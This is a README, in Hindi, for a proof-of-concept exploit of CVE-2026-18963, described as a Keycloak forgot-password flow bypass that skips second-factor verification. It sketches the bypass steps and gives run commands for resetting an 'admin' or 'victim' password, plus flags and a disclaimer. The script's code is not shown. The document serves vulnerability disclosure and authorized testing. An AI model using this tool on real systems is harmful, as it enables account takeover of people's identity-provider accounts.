
CVE-2026-18963 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Keycloak के forgot-password प्रवाह में प्रमाणीकरण बायपास है, और उचित सत्यापन के बिना पासवर्ड रीसेट की अनुमति देता है। इसमें गैर-विनाशकारी प्रूफ मोड शामिल है।
Keycloak के "Forgot Password" / क्रेडेंशियल-चयन फ्लो में CVE-2026-18963 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो एक हमलावर को आवश्यक पहचान सत्यापन (जैसे वैध OTP/दूसरा कारक) को ठीक से पूरा किए बिना UPDATE_PASSWORD चरण तक पहुँचने — और लक्षित खाते का पासवर्ड रीसेट करने — की अनुमति देता है।
स्क्रिप्ट फ्लो को पूरी तरह से HTTP के माध्यम से चलाती है (कोई ब्राउज़र/Selenium आवश्यक नहीं):
tryAnotherWay ट्रिगर करना।startSessionPolling() रीस्टार्ट URL को निकालना और उसे दोबारा चलाना।UPDATE_PASSWORD तक आगे बढ़ाने के लिए उपयोगकर्ता नाम फिर से सबमिट करना।यह टूल केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए प्रदान किया गया है (पेनेट्रेशन टेस्ट जिन्हें आप करने के लिए नियुक्त हैं, CTFs, आपके अपने प्रयोगशाला वातावरण, या समन्वित भेद्यता प्रकटीकरण)। इसे उन सिस्टमों के विरुद्ध चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है, अवैध है। लेखक और योगदानकर्ता इस टूल के दुरुपयोग या उससे होने वाली क्षति के लिए कोई दायित्व नहीं लेते हैं।
जब भी समस्या प्रदर्शित करने के लिए पर्याप्त हो, तो गैर-विनाशकारी प्रमाण उत्पन्न करने के लिए --stop-at-update-password का उपयोग करें (बिना नया पासवर्ड सबमिट किए UPDATE_PASSWORD तक पहुँचना)।
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Default | Description |
|---|---|---|
--base-url | http://localhost:8080 | लक्षित Keycloak इंस्टेंस का बेस URL |
--realm | master | लक्षित रियल्म |
--client-id | account | लॉगिन फ्लो आरंभ करने के लिए उपयोग किया जाने वाला OIDC क्लाइंट ID |
--username | admin | लक्षित उपयोगकर्ता नाम |
--new-password | (आवश्यक) | लक्षित खाते के लिए सेट किया जाने वाला पासवर्ड |
--stop-at-update-password | बंद | UPDATE_PASSWORD तक पहुँचने पर रुकें, बिना नया पासवर्ड सबमिट किए (गैर-हथियारबद्ध प्रमाण) |
--timeout | 10.0 | HTTP अनुरोध टाइमआउट सेकंड में |
--output-dir | debug_http | डिबगिंग के लिए प्रत्येक मध्यवर्ती HTML प्रतिक्रिया सहेजने वाली निर्देशिका |
--insecure | बंद | TLS प्रमाणपत्र सत्यापन अक्षम करें |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
प्रत्येक मध्यवर्ती HTTP प्रतिक्रिया को ऑफ़लाइन समीक्षा के लिए --output-dir (डिफ़ॉल्ट debug_http) में 01_login.html, 02_reset.html, ... के रूप में सहेजा जाता है। स्क्रिप्ट सफलता पर 0 और विफलता पर 1 के साथ बाहर निकलती है, प्रगति और नैदानिक संदेश stdout पर प्रिंट करती है।
Aurélien LOIE